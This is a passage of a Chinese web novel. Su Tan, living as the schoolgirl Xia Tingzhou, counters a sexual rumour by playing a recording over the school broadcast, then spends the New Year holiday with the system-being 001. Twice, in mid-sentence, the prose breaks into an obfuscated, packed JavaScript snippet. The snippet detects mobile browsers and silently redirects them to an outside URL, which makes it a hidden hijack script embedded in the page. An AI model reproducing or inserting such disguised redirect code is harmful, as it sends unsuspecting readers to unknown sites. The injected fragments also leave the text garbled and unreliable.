她可是母单solo了二十二年,至今连初恋都没呢! 张思蓉一下子松了一口气,拍着胸脯道:“那就好。看学校大群里传的,我还真以为你和四班的孙瑞杰……那个了。” “和谁?”苏昙感觉这名字似曾相识。 “孙瑞杰啊。不仅学校大群,就连……咱们班级群里也在说,说你在文化节结束当天晚上,在办公楼杂物室勾引他,还和他……” “和他做了?” “你小点声!”张思蓉脸涨得红红的,“所以那些消息都是假的?” “不然呢,傻子才会信。”苏昙倍感无语,“让我猜猜,不会还有什么音频视频之类的吧?” 张思蓉不说话了。 这件事只有两个人知道,苏昙不用想都知道这件事和孙瑞杰脱不了关系。 表白不成试图耍流氓,耍流氓不成,被吓之后恼羞成怒,意图报复。对他这种人来说,多正常啊。 苏昙掏出兜里的手机,点开企鹅聊天软件,看到“南山高中大群”那一栏的信息99+。 苏昙进群,往上爬了几层楼,看到的大多是一些污秽不堪的描述。只是群里不要求实名,所有人都是顶着昵称聊,谁也看不到谁的真面目。 她翻到最开始爆出来的一条,是段音频,一个id叫“华夏之光”的网友发的。这个华夏之光是个新注册的小号,主页的个人信息也是随便捏造的,还知道给自己作伪装。 张思蓉灵光一现:“我们要不要去找杨老师,让他给你做主?” 苏昙看了一眼第一条谣言的发布日期,笑道:“从我被传谣到现在已经一个多星期,情况再坏点,估计现在全校都知道的七七八八,老师又怎么会没有听说?他们要想处理这件事,早就该找我了。到现在都没消息,大概率是不会有结果了。” “……说得也是。”张思蓉委屈得快要哭出来,“那怎么办啊?” 苏昙最后瞅了一眼这个华夏之光,眯眼道:“别着急,会解决的。下个月就是期末考试,还是先好好复习吧。” 张思蓉还是不放心:“真的没事吗?” “相信我,没事。该干什么干什么,过两天就消停了。” * 周六下午,苏昙刚回到家,接到一个陌生号码打来的电话,地址显示就在南山市本地。 “你好。” “喂,你是夏迁舟的姐姐吗?” 苏昙皱眉:“请问你是?” “我是夏迁舟钢琴班的刘老师,你快来吧!我就一不留神没看住,他竟然和同班的孩子打起来了,两个人都死活不说发生了什么。原本我要喊他妈妈过来,他说只有你现在有时间,如果没事的话赶快过来一趟吧!” 苏昙的确记得每周六下午夏迁舟会去学钢琴。 她应道:“好,稍等。” 不知道夏迁舟究竟惹了什么事,竟然在兴趣班都不安生。挂了电话,苏昙觉得还是有必要告诉陈玫一声。 走到她卧室门口,苏昙抬起手指又放下,最后叹了口气,一个人出了门,喊上家里的司机,立刻赶往钢琴班的地方。 钢琴班教室里,夏迁舟和他起争执的同学站成一排,脸上手上都挂了彩,别着头互不理对方,唯有那个刘老师坐在他们对面一个劲地揉人中。 苏昙推开教室的门,看到的就是这幅情形。 “刘老师。” “你可算来了,迁舟姐姐。”刘老师站起来,说道,“另一个孩子的家长还没到,你先休息一会,等人到齐了我们再开始。” 苏昙看了一眼两个垂着脑袋的小男孩,抱歉地对刘老师说道:“不好意思啊老师,我能先单独和他们聊会吗?” “……行吧。”刘老师点点头,走出教室。 苏昙把夏迁舟拉到一边,拿出包里的创可贴,弯腰给他脸颊的伤口贴上,问道:“为什么不想让妈妈知道?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715201|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏迁舟虽未挣扎,却一言不发。 “那我换个问题,为什么打架?” “……” “还是很难回答吗?那我再换个问法,你受得伤严重吗?” “不疼。” “不疼就行。我还以为你嗓子也伤到了呢。” “……” 苏昙继续道:“你很爱打架吗?” “一点都不喜欢。” “那看来这次真的让你很生气。是因为同学骂你了,还是……骂爸爸妈妈了?” “都不是。” “那就是骂我了。”苏昙了然,“你是不是知道了我们学校传的我的事情?” 夏迁舟又感觉怒火在胸腔灼烧:“你都不生气吗?他们说的那么难听!” “那是他们的错,和我有什么关系?我倒是不知道,原来你在外面这么护着我这个姐姐啊。” 苏昙揶揄他道。 夏迁舟恨铁不成钢道:“你是我姐,我不保护你保护谁?!” 苏昙咋舌,真应该让夏汀舟也过来听听,估计她会开心很多。 “谢谢你的担心,不过我真的没事,那些话影响不了我。你先把你手上的擦伤消消毒,我去和你同学聊聊。” 苏昙把碘伏棉签递给夏迁舟,来到另一个男孩身前。 她笑道:“你认识我吗?我叫夏汀舟,是迁舟的姐姐。” “我才六年级,怎么可能认识你。” “巧了,我也不认识你,那你为什么骂我?” “谁让你那么淫.浪,明明是自己去勾引的别的有女朋友的男生,却还臭不要脸地说人家是小三。” 苏昙眼皮跳了几下:“……这么狗血吗?” 她竟然不知道,原来一件这么小的事也能传得这么精彩。 小朋友恶狠狠地说:“反正你就是很恶心,我就骂你怎么了!” “没人不让你骂。可我不明白,你是哪个初中的,怎么会知道南山高中的事?” “当然是因为我表哥在南山高中——不对,关你什么事……我凭什么告诉你?” “……” 男孩说到一半顿了一下,听着理直气壮,苏昙无以言对。 就在这时,教室的门再次被推开,走进来刘老师和男孩的家长。 苏昙转身,看清来人,惊讶道:“张老师?” “汀舟?你……是涛涛同学的?” 苏昙心中仿佛一万个名为尴尬的野兽在怒吼,皮笑肉不笑道:“是,我是夏迁舟的姐姐。” 张老师不愧为有十几年教书经验的老师,立刻调整过来:“你家长都在忙?” “嗯,所以我替他们过来看看怎么回事。” 张老师把涛涛拉到身边,一边处理他身上的擦伤,一边严肃问道:“我问你,为什么要和同学打架?道歉了没有?” “我凭什么给他道歉?他把我的脸都打出血了!” 一旁的陈老师赶紧息事宁人:“张姐、迁舟姐姐,我看两个孩子身上的伤口也都处理过了,应该不严重。如果不是什么大事,不如各自把孩子带回家,再好好沟通沟通。不凑巧,我下一节还有课……马上就要走了。” 苏昙觉得此时的气氛很诡异,附在夏迁舟耳边轻声询问道:“他比你小一岁,才六年级,说错话情有可原。我真的没往心里去,你也别生气了,我带你去吃好吃的,好不好?” 夏迁舟起身背上琴包:“既然你都不在意,那我也不生气了。走吧,姐。” 苏昙松了一口气,对张老师露出歉意的笑:“那张老师,我回家再好好说说我弟,真是很抱歉,因为这点小事,打扰到您周末休息了。” “不会的,这个年级的男孩的确是比较冲动,就是做家长的要操不少心,我都习惯了。”张老师也知道,这样待下去双方都挺不好看的,又对陈老师说道,“那我们也先走了,你快去上课吧。” 陈老师忙不迭道:“行!那你们慢走,路上注意安全。” 78. 世界四(11) 寒冬腊月,零下温度,叶面结霜。不管是说话还是喝水,总能呼出一团白雾。一眨眼,期末考试结束,寒假就要来了。 考完试后,学校里各个班级都在兴奋地收拾书包课本,激动地讨论着假期安排。 高二一班,杨辞正神采飞扬地有关“假期安全”的班会,看到夏汀舟突然举手示意。 “什么事,夏汀舟?” 苏昙嘴唇苍白,痛苦地皱着眉:“老师,肚子疼,想上厕所。” “快去。” 苏昙点点头,捂着肚子,飞快跑出教室。 出了教室门,她脸上丝毫没有刚刚疼痛感难忍的神色,大步流星地跑下楼梯,朝一楼角落里的广播室跑去。 给苏昙开门的是一个高三的学姐,见到苏昙快速说道:“等我念完寒假致辞,你只有十分钟的时间放录音,时间太长老师反应过来,到时候就不好说了。” “没问题,多谢学姐。”苏昙随她进到广播室。 这个学姐是当时在体育文化节上负责播报的志愿者,也是学校广播站的站长。 苏昙从张思蓉口中得知夏汀舟被造谣的事情后,便从校园墙上找到这个学姐的联系方式,决定寻找一个合适的时机,把她手机里的那段录音公之于众。 其实当初录音只是因为担心出事多做的一手准备,原本她已经打算把录音删掉,谁让那个“华夏之光”凭空捏造一段不存在的音频诬陷她,那她也不必再留情面。 至于“华夏之光”的真面目,并不难查,苏昙早就猜到了。 当时在办公室,就是张光骗她,说杨辞在顶楼杂物室。后来孙瑞杰被拒,没过多久张老师家的小儿子竟然知道了这件事,偏偏在大群里传音频的人的id和张光都有一个“光”字,苏昙很难不怀疑到他身上。 她私下里找过张光一次,张光自知暴露,干脆利落地承认了音频就是他发的,单纯因为看不惯她有眼无珠,竟然了拒绝自己好兄弟的表白,想给她一个教训,完全没有认错道歉的意思。 只是没想到夏汀舟这么怂,连个声都没吱,孙瑞杰觉得没有意思,第二天就换了一个新的追求对象。 杨辞开完班会,交代完事情,美滋滋地回到办公室,舒舒服服地泡上茶叶,等着寒假到来。 哪怕二班有张思蓉这个虎班长,也是止不住的沸腾。 挂在墙上的广播还在播报:“……老师们,同学们,寒假将至,春节即来,愿我们在新一年的炮竹声中辞旧迎新,在新一年的烟花祝福里努力追梦。寻常不过人间烟火,山海相隔亦能同乐,在这里,提前祝大家新年快乐,假期愉快!” 致辞淹没在班里的欢声笑语里,却散发出同样幸福快乐的气息。 然而,下一秒,一个男生的声音紧接着响起:“夏汀舟,你终于来了!我还以为你会拒绝呢。” 二班瞬间安静下来。 张思蓉疑惑,夏汀舟不是去厕所了?话说都已经半个小时了,怎么还没回来? 广播还在继续:“杨老师没叫我?”是夏汀舟的声音。 “当然不是他,是我有事想对你说,才假借你们老师的名字,不然你肯定不会来!” “你竟然明白我的心意……你……答应做我女朋友吗?” “不答应,走了。” “一看你就还没尝过被滋润的味道,等你试过了,就知道做我的女朋友有多爽。” “……” “再等个屁!脱啊!你不是很想让我尝尝吗,继续啊,脱啊!” “记住,女孩不是你能随便招惹得起的,滚!” 对话到这里戛然而止,再迟钝的人,只要吃过文化节的瓜,稍稍回忆,都能听出来这是夏汀舟和孙睿杰那天发生的事。 但好像和传的一点也不一样。 随后,一个冷静的女声在广播里响起,比刚才的对话听着真切得多:“大家好,我就是夏汀舟本人。刚才你们听到的,是我那天以防万一,进行的录音,没想到真的有派上用场的一天。” “相信你们大部分是从一个叫‘华夏之光’的人那里听到了音频,才知道的我。且不说那人配不配称得上华夏之光,单是在群里传播未知□□信息,就已经做了见不得光的事,可能他id里的光,是光着身子的光吧……” 张思蓉没忍住,扑哧笑出声来,又立刻憋了回去。 “没错,孙同学是和我表白了,可他实际上却做了比表白更冒犯的事情,你们应该都听到了。天知道,我在见到他之前,根本就不知道原来学校还有他这么一个清奇的男生。” “不过,既然他这么有需求,那我也不介意在这里帮他一把,给他免费开一个求偶广告位,如有谁想和他进一步了解,请自行前往。当然了,如果不满意,中介概不负责。” 这次全班都发出爆笑。 “其实我根本没有必要冒着被处分的风险,专门在广播上解释这些子虚乌有的事情。可我思来想去,还是觉得需要有人站出来。在我看来,结果不重要,态度才重要。什么退一步开阔天空,如果连无端造谣都要忍让,那我们下次见面,可能就要在医院的手术台或者病房里了。” “而且,我无意让大家和我一起谴责谩骂孙同学和那位‘华夏之光’,但做错了就该指出来,如果他们之后能穿上衣服好好学习,我受些处分又算得了什么,权当助人为乐,行善积德了。” 苏昙把想说的说完,关上了广播,再次谢过学姐后,离开了广播室。 等她回到班里的时候,沸腾的人群突然鸦雀无声。 这时,不知谁中气十足地喊了一声:“我靠,夏汀舟牛逼!” 瞬间,全班再次哄闹起来。 “牛逼!” “wow!太有态度了!” 苏昙坐到位置上,避开周围同学的目光,尴尬地扶额看书。张思蓉兴奋地跑到她身边,还想再多听几遍录音。 政教处。 杨辞悠哉游哉地喝茶喝到一半,紧急被年级主徐丽任拉走——还有他对面的张老师,也就是孙瑞杰的班主任,两人此刻正一起低头听训。 徐主任是个五十多的女人,前些年在退休的边缘徘徊,就等这次过完年,领导一句话,她马上拍拍屁股走人,高高兴兴地回家带孙女。 而现在,徐丽只觉得心累,一向喷得最厉害的唾沫星子都没了:“老杨啊,这件事你知道吗?” “……知道。” 杨辞不仅知道,还知道几乎全校都知道了。实不相瞒,他有个小号在学校大群里。 “那你当时都注 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张老师也跟着保证:“我也立刻回去和孙瑞杰好好说说,再给班里同学强调一下纪律问题。” 徐主任挥挥手:“去吧去吧。” 两个老师走后,徐丽又摇头道:“不行……还是得再紧急开个会强调一下。” …… 杨辞一直以为自己驭生有道,可怎么老师口中的乖学生夏汀舟到了他手里,就总是有他意料之外的事情发生? 早知道她今天会搞这么大阵仗,就算赌上他十几年的教学经验,也得早早地把这事给解决,哪还会在放假之前被年级主任请喝茶! 这下好了,结束的安全班会还得接着开,只不过得把“安全”换成“禁止早恋”。 又是长达半小时的喋喋不休。 放学之后,苏昙又被杨辞单独叫住,让她去办公室等着。 结果,又是半个小时的思想教育。尽管杨辞和苏昙都打心底里觉得没什么好教育的,但“政治任务”在上,好歹要做做样子。 听到最后,苏昙都没耐心了,直接问道:“杨老师,您就直接说处分是什么吧,我都接受。” 杨辞:“没了,就这。你听明白了吗?” 苏昙不知道到底发生了什么,学校竟然不追究,只好道:“那……谢谢老师。我都听明白了。” * 过了腊八就是年,过年就得赶年货。别墅里最兴奋的还要数夏迁舟和孙姨了。 起初孙姨执意要回去,陈玫劝她留下来一起过年,人多热闹,就是多双碗筷的事。夏迁舟和苏昙自然没有异议。 小年一大早,夏迁舟就兴高采烈地跟着陈玫和孙姨一起出去买年货了。 苏昙难得寻了个没什么人还有时间的早上,和001一起吃了个久违的早午饭。 无奈001坚持要吃她自己做的,还主动要求给她打下手。结果忙没帮多少,倒像个让人色令智昏的人形立牌,高大的个头挡了一半的路,苏昙好几次转身拿食材的时候都险些撞进他怀里。 做到一半,苏昙终于意识到,他这可不是在打下手,分明是在添乱,于是微红着脸,面无表情地把001赶出了厨房,让他好好在外面等着。 79. 世界四(12) 除夕当天,陈玫说,夏恒工作还没做完,要到初二回来了,不耽误初三全家一起回北阳老家。 吃过年夜饭,陈玫发完红包,早早地便上床睡美容觉,孙姨年纪大熬不住夜,也回客房休息了。新年零点的钟声敲响的同时,苏昙收到一条来自夏迁舟的祝福。 “姐,新年快乐!” 后面还加了两个烟花的表情。 苏昙靠在床头,笑着打字回道:“你也是,新年快乐。” 001的声音随着消息发送成功的提示音响起:“……在聊天吗?” “嗯,是夏迁舟,给他发一句祝福。” “新年快乐。” 苏昙会错了001的意思,以为他是在问发的什么消息,解释道:“当然了,我不祝他新年快乐,还能说什么?” 001坐到床的另一边,面对着苏昙,眼底流淌温柔笑意。 “我在对你说,新年快乐,苏昙。” 说话间,窗外高空绽开一簇烟花,盛大而绚丽。 苏昙被那抹鲜艳吸引,下意识扭头看向窗外。真是奇怪,明明烟花和她还隔了一扇厚厚的窗户玻璃,她却觉得花开到了心里,惹得人嘴角上扬。 “你也是,新年快乐。” 烟花绽放后,散落点点星火,苏昙把视线收回屋里,落到对面的人身上。 “说实话,我真的没想过,还有和你一起守岁的一天,竟然觉得好像也还不错。” 001目光如水,哪怕屋里没有开灯,依旧在暧昧的光线中透出细碎波痕:“在遇到你之前,我从没觉得人类的新年有什么意义,但现在觉得,似乎也很幸福。” “你们虚空之境,没有新年的吗?” 001轻轻摇了摇头:“那里的每一天都单调而重复,子系统的工作也很枯燥,可能偶尔跟着宿主经历一次新年,没什么值得纪念的。” 苏昙藏在棉被下面的手指微蜷,她小心翼翼系问道:“那今年呢,你会不会觉得,有那么一点点的意义?” 她的尾音很轻,轻到一阵风就能吹散。 001呼吸一滞,神情格外认真,说道:“有。甚至远比你想的更多。” 他的目光尽数倾泻在苏昙脸庞,温柔而紧密地包裹着她,心跳如鼓点,完美地融入外面烟花炸开的轰鸣声中。 苏昙十分庆幸,屋里光线昏暗,若是开了灯,不敢想001会瞧见她的脸有多么滚烫发红。 真是太丢人了。 她丝滑地滑入被窝,把被子拉到头顶,闷声道:“行了,已经凌晨了,我困了,要睡觉,你也回去吧,熬夜伤身体呢。而且,明天我还要带你去买衣服,到时候,你别睡过了迟到!” 001从床边站起来,帮她把被子拉好,说道:“我还以为你忘记文化节答应我的了。” “……怎么可能。” “嗯,我知道了。明天见,晚安。” 苏昙竖着耳朵听得仔细,001说完之后好像离开了,屋里安静下来,只有远处的烟花声传来。 过了很久,她依旧毫无睡意,脑海里不断循环001刚刚的话,“远比你想的更多”,是什么意思?还有他说的幸福,又是什么意思? 思来想去,苏昙觉得脑子里更乱了,快要透不过气,这才发觉棉被还在头上蒙着,怪不得越来越闷。 正要把被子往下推,却有人在她之前,掀开了一角。 下一秒,一个吻轻轻落在了她的额头,如蜻蜓点水,隐忍而克制。 苏昙浑身僵住,努力装得熟睡,心跳越却来越快,瞬间热得要冒烟了。 偷亲的人同样紧张局促,呼吸微微颤抖,生怕动作太大被发现。又过了几秒,001附在苏昙耳边,再次认真地小声说了句:“新年快乐。” 说完,眨眼消失在房间里,像个仓皇而逃的小偷,偷走了心爱之人的一个吻。 * 第二天早晨,苏昙起床的时候,家里已经没人了。 她点开手机,看到夏迁舟八点的时候给她发了一条消息:“孙姨有点事回家一趟,我和妈妈看你还在睡觉,就先出去逛商场了。微波炉里给你留了早饭,你收拾完之后,没安排的话可以来找我们,有安排的话就算了。” 苏昙打着哈欠回了个“好”,走到洗手间照了照镜子,果不其然,眼底一片乌青。可不嘛,笨蛋子系统竟然做了那样肆无忌惮的事,还怎么让她安心睡觉?能睡好才怪! 就是她好像也不怎么生气。 苏昙下楼把还热乎着的三明治叼回房间,打开了电脑。 刚刚洗漱的时候,她突然想起来,摄影比赛的获奖结果就在这个寒假公布。眼下假期已经过了一半,她却忘记查询结果了。 苏昙打开官方网站,看到首页界面就是“南山市最美剪影摄影比赛”的获奖名单。 她有些紧张,点进去后逐字逐句地扫过名单,生怕遗漏什么地方。 事实证明她还是想得太多了——名单上二等奖的下面,赫然写着夏汀舟的名字。 “001!” 苏昙忍不住激动喊道。 “怎么了?” 子系统立刻出现,话里闪过一瞬间的不自然。 “夏汀舟的作品获奖了!二等奖!” “是么……”001还以为苏昙发现了他偷亲的事,来兴师问罪的。他心里慌了几秒,又恢复自然道,“好事啊,需要我得空去告诉她一声吗?” “当然了!”苏昙此时此刻脑子里全是夏汀舟有关的事情,兴奋道,“不行,你现在就去告诉她吧,顺便再问问她有没有什么想许的愿望,今天我准备带你去庙里祈福,顺便帮她把她的愿望带到!” “现在去吗?” 倒不是001觉得进裂缝之隙太麻烦,是他真的一点也不想浪费和苏昙独处的机会。可他又偏偏不会拒绝她。 苏昙催促道:“我在这里等你,快去快回行不行嘛……” “好,那你等我。” 001认真叮嘱,很快消失在识海。 苏昙兴奋劲一过,001在她面前出现又消失,昨晚的记忆再一次不受控制涌入脑中。 眼看脸颊又要发烫,她赶紧拧了一把大腿,心道:听001说话的语气,也不像心里有愧的样子。他都觉得没什么,我一个人在这里大惊小怪岂不是招笑? 管他亲了还是没有、亲了哪里,她,苏昙,做事坦坦荡荡,就算要心虚,也应该是他001才对! 不一会,苏昙就把自己的状态调节好,乐呵地收拾起等会出门的东西。 等到001回来的时候,她已经给夏迁舟发过消息,一切准备妥当,就差换鞋。 只是她都把鞋穿好了,001还是没有出现。 苏昙问道:“你怎么不出来和我一起啊?” 001颇难为情,好一会才开口解释:“现在的裂缝之隙,没有主神的传音石没办法进入,所以我就把身体解离成炁去见夏汀舟。每次从炁的状态化成人形,都要等至少三个小时才能恢复来到里世界的能力。” “……啊?”苏昙有些着急,“那会对你的身体有什么不好的影响吗?” “不会的,顶多虚弱一阵子,等三小时过去就好了。”001没想到她最先关心的竟然是自己,心里涌起一股暖意,“抱歉,是不是又让你扫兴了?” “没有啊,我知道你在我身边就够了,走吧!” 苏昙背上包推开门走了一段路,想到什么,对识海里的001严肃要求道:“还有,别再总对我道歉了,如果我生气了会直接告诉你的,你生气了也可以直接给我说。你总是这样,搞得我一直在……欺负你一样,让我怪不好意思的。” 001唇角微弯,答应道:“好。” …… 按照苏昙今日的计划,她先带着001来了商场。 既然001现在也没办法试衣服,苏昙干脆先给自己挑,边挑边逛,边逛边和001聊,难得的放松。 时间一不留神便来到中午。 苏昙在商场六楼吃过午饭后,001终于能够化成人形。 化成人形后的第一件事,苏昙争分夺秒地把001拉到男装区,给他试衣服。 “你觉得这件棉袄怎么样?穿上之后会不会很笨重?” “这件夹克棉服怎么样?看着比刚才那件好一些诶。” “这件不行,你那么高,穿这个长的就像一个蛹,我拒绝!” 这边苏昙还在喋喋不休地说话,一旁的导购小姐笑盈盈地走过来说道:“小美女怎么一个人来买男装,是给男朋友买的,还是给父亲买的?这边提供一下身形的详细信息,我可以给您推荐更合适的款式哦。” “……”苏昙一时语塞,这好像说成什么关系都不太合适吧? 她抿唇道:“朋友,男性朋友。他平时挺忙的,没法过来,我顺手替他捎回去一件,哈哈。” 导购小姐心领神会道:“这样啊,那你知道这位朋友身形的具体信息吗,我好给您推荐?” “不用了!谢谢你,我还是自己看吧……” 苏昙有些发虚,其实她对001的个人信息不是很清楚,当场问001也挺奇怪的,不如直接让他上身试来得方便。 “那行,您有需要随时叫我。”导购小姐安置了一句,到另一头招待其他客人了。 苏昙取掉手里米黄色的针织立领棉服,塞到001怀里,做贼一样把他推进试衣间:“你先试试这件,我在外面看着人。” 001抱着衣服站在门口,看着苏昙说道:“身高1米83,体重135斤,胸围98,腰围78。” 苏昙:“?” “我的个人信息。” 说完,001红着耳尖钻进了试衣间。 什么嘛……苏昙捂住脸颊,下意识和自己比较一番,发现001好像哪里都比她要大——而且身高刚好比她高20cm,体重刚好比她重30斤。 不对不对,比较什么呢!苏昙甩甩脑袋,微红着脸,在心里吐槽道:他一个一年四季都是白衣黑裤的直男,竟然对自己的身形信息这么清楚! 几分钟后,001拉开帘子,喊苏昙进去看看上身效果。 试衣间空间不大,001一个人还好,苏昙也进来之后,一下子逼冗起来。 “那个、你……稍微往后退退。” 苏昙指尖抵住001身上的棉服,把他们之间紧贴的距离推远。 “好。”001也有些不自在,连忙往后退,身体紧靠在背后的墙上。 他紧张地问道:“你看着感觉怎么样?” 苏昙只感觉这里的空间越来越闷热,飞快地上下扫了一眼,说道:“挺好看的。你觉得肩和背那里紧不紧,需不需要再换几件试试?” “都挺舒服的。” “那就这件吧,我先出去结账了。” “……嗯。” 苏昙低着头匆匆走出试衣间,差点忘记拿走001身上的衣服。 她在商场里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724191|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确认过其他人的确对001身上的东西都看不见,才放下心让他穿上新衣服,和他一起出去。 今日计划的下一站是位于南山市西边山上的一座寺庙,叫夜阑寺,听说禳灾祈福特别灵验,每次到传统节日,都有不少市民去那里上香。 没想到下午的寺庙里,依旧人满为患。 苏昙没有着急进去,而是在寺庙外面找了一处人少的绿竹林,把手机递给001,说道:“好不容易出来一趟,你先帮我拍几张照片呗,留作纪念。” “可以是可以……但你现在是夏汀舟的模样,不要紧吗?” “你会把我和她弄混淆吗?” “永远不会。” “那还有什么好介意的,拍吧,至少证明我来过。” “好。” 001虽然没有手机,但经常见131捣鼓,基本的功能都了解。他往后退了几步,把摄像头对准苏昙。 中间001换了好几个角度,拍了好多张拿给她挑选。 苏昙手指拨动照片,一会满意地点点头,一会又皱紧眉心:“这一张我的表情太丑了,都没准备好呢!” “不过这一张不错。” “这张不行不行,我看着是一米五的身高吗!” 苏昙挑到最后,删得只剩下三张。她看了看周围,又把目光投降001,露出期待的笑。 “要不然,我们俩个一起拍一张吧!” 001意外道:“我和你吗?” “对啊!”苏昙不由分说把001拉到身边,踮起脚尖把他的脑袋往下按下去些,接着举起手机相机,示意他笑一笑,喊道,“一二三,茄子!” 苏昙连按三下,随后点开照片查看效果。 “诶,001,你怎么看别的地方?要看镜头啊,不用紧张,放轻松。” 苏昙发现每一张他都朝她那边微侧仰着头,眼里似乎还有些局促,以为他头一次面对镜头,感觉不适应,暖心安慰道。 “不好意思,再来一次吧,我拿着手机好了。” “行吧。” 001接过苏昙手里的手机,往前站了一点,手臂微微太高,完美地将苏昙和他框在镜头里。 “……好了,你再看看怎样?” 苏昙就着他的手看了一眼,竟然意外地不错,至少她和001都是笑着的,表情没崩。 “不如你就拿着手机吧,咱们再拍两张!” 苏昙兴奋地换了好几个姿势,又是让001蹲下,又是让他弯腰侧身,001都一一配合。 拍完照进寺庙的时候,001把口袋里夏汀舟写的纸条交给了苏昙:“这是出发前我见夏汀舟的时候,她写下的愿望,现在交给你。另外,她的确很高兴自己的作品能够获奖,想让我给你带一句谢谢。” 苏昙爽快道:“不用客气。愿望和感谢我都收下了,一定给神仙佛祖带到。” “嗯……那我就先走了。” “走?走哪去?” “一个小时到了,我得回到你的识海里。” “……啊……好吧。”苏昙心里有点不舍,她还没和001呆够呢。 “真的不能把明天的时间匀给现在吗?”她追问。 “我试过,不可以。”001已经回到了识海,安慰她道,“没事的,只要你喊我,就一定会有回应。” “……真的?” “不骗你。” 苏昙“哦”了一声,抱着买来的香火走了几步,突然道:“001?” “我在,怎么了?” “没什么,就是想确定一下你有没有骗我。” 001笑道:“那你现在有结果了吗?” “大概有了吧。” 苏昙忧郁的嘴角微微上扬,感觉心情好了那么一点。 进了寺庙的大门,是一座圆形的香坛,香坛中心立着一座火炉,旁边的圆形凹槽里是燃烧成灰烬的黄纸和纸做的金元宝,不少人正跪在垫子上,双手合十,闭眼祈愿。 苏昙学着他们把香火点燃,插.到凹槽里,跪在垫子上虔诚地拜了几拜。 随后,她走到寺庙后院,那里有一个百年古树,上面挂满了木牌和香囊,听说只要能把写好愿望的木牌或香囊扔到树上,那么许下的愿望就一定能够实现。 苏昙求来一个木牌和一个香囊,先把夏汀舟写的纸条塞进香囊,系紧口袋,捏着香囊袋子,朝树枝用力一抛。 香囊擦过枝条,稳稳地卡进了交错的树枝形成的凹陷处。一旁的老妪看到,忍不住叹道:“姑娘真是好运气啊,好些人抛了好几次才能挂上去。” 苏昙笑而不语,半蹲下来,把木牌搁在膝头,用黑色马克笔认真写下自己的愿望。 那些“幸福健康”“平安喜乐”的心愿太多太多,她怕神仙看不到自己的那一个,便写下了前些天刚在书里读过的一句诗,不知为何记得格外清晰—— “须知此景,古今无价。愿天上人间,占得欢娱,年年今夜。”① 写完后,苏昙捏住木牌一角使劲一抛,木牌却十分不给面子地径直坠落,眼看就要低过树枝的高度。 就在这时,一阵风起,树上琳琅的木牌清脆作响,天空飘起零星雪花,在风里纷飞旋转。 苏昙看见自己那块木牌的吊绳竟神奇地拐了个弯,最后挂在伸出的枝头。 她抬头注视着自己的愿望,心里涌起微妙的感受。 想来风能听到她的心声,也定能将她的愿望带给神仙吧。 80. 世界四(13) 苏昙从寺庙回来第二天,夏恒终于从外地飞回家,还托身边的秘书小燕买回来一堆营养补品,说是要带回老家。 初三早上,司机载着夏家四口人风风火火地驶向北阳市。 路上,苏昙听识海里的001把夏恒父母的情况讲了大概: 夏恒的父亲在十八年前就因为脑溢血意外去世,夏恒的母亲叫周云蕙,在自己的老伴去世后,退出了公司,回家养老,把所有的事情全权交给夏恒来处理。 周云蕙一直都不喜欢陈玫这个儿媳妇,但总归挡不住夏恒年轻时的一腔热血,非她不娶。在听说陈玫和夏恒一致决定不要孩子之后,对陈玫更是反感;在陈玫生下第一个女儿之后,连面都没露,直到夏迁舟出生,才托人往医院送了几箱燕窝。 一路上,陈玫在后座一直闭目养神,眉头无意识地皱起,看起来心情并不是很愉快。 临近中午的时候,车终于进了北阳市,没过多久来到周云蕙住的小区。 周云蕙常年一个人在家,除了家庭医生定期来给她做检查,保姆时不时来打扫一下卫生,平常没什么人。夏恒拎着礼物,按响了门上的门铃。 “儿子,来了。” 周云蕙上了年纪,眼尾纹和法令纹都很明显,但皮肤却保养得十分紧致,今天她穿了一身玫红色蚕丝睡衣,满身都是贵妇的气质。 陈玫跟在夏恒身后,也喊了句:“妈,新年快乐。” “人家媳妇都是早早地来了,你倒好,初三才露面。”周云蕙淡淡地看了她一眼,领着夏恒进了门。 陈玫像是习惯了,把手里的东西放到门口,该换鞋换鞋,该挂包挂包。 苏昙和夏迁舟跟在后面,颇有眼色地对周云蕙乖巧打招呼:“奶奶新年快乐!” 周云蕙点点头,从口袋里掏出两个红包:“新年快乐,把压岁钱收下吧。” 苏昙注意到,她先把最厚的一个给了夏迁舟,最后才给了自己。 夏迁舟没有看出这里面的用意,还在高兴地咧嘴笑:“谢谢奶奶。” 苏昙把目光收回来,也跟着他道:“谢谢奶奶。” 夏恒去厨房瞅了一眼,出来对陈玫说道:“行了,保姆还在做饭,你们先在客厅坐会,我去楼上和妈聊会。” “好。” 陈玫在沙发坐下,自顾自地打开电视,剥开一个沙糖桔放进嘴里。电视里还在重复播放除夕夜的春晚,找不到一个其他的节目。 苏昙和夏迁舟觉得无聊极了,坐在那也不知道干些什么。最后夏迁舟在手机上下载了一个围棋PK小游戏,拉着苏昙对弈。 “我只会下五子棋,没了解过围棋。” “没事,我教你。” “你不是很讨厌我吗?” “……那是以前,现在不一样。” 苏昙趁机缓和夏汀舟和他的关系,笑道:“是不是发现你姐一直对你都挺好的。” 夏迁舟的脸腾一下红了:“别废话了,你还学不学……” “学,夏老师快教我吧!” …… 电视机里的春晚再一次开始唱难忘今宵的时候,保姆端着菜从厨房出来了。 她对坐在客厅的陈玫说道:“饭做好了,您稍等一会,我现在去把他们叫下来吃饭。” “不用了,我去吧。你可以下班了。” 陈玫抽出一张湿巾擦净手,起身走到楼上,脚步慢慢停住。 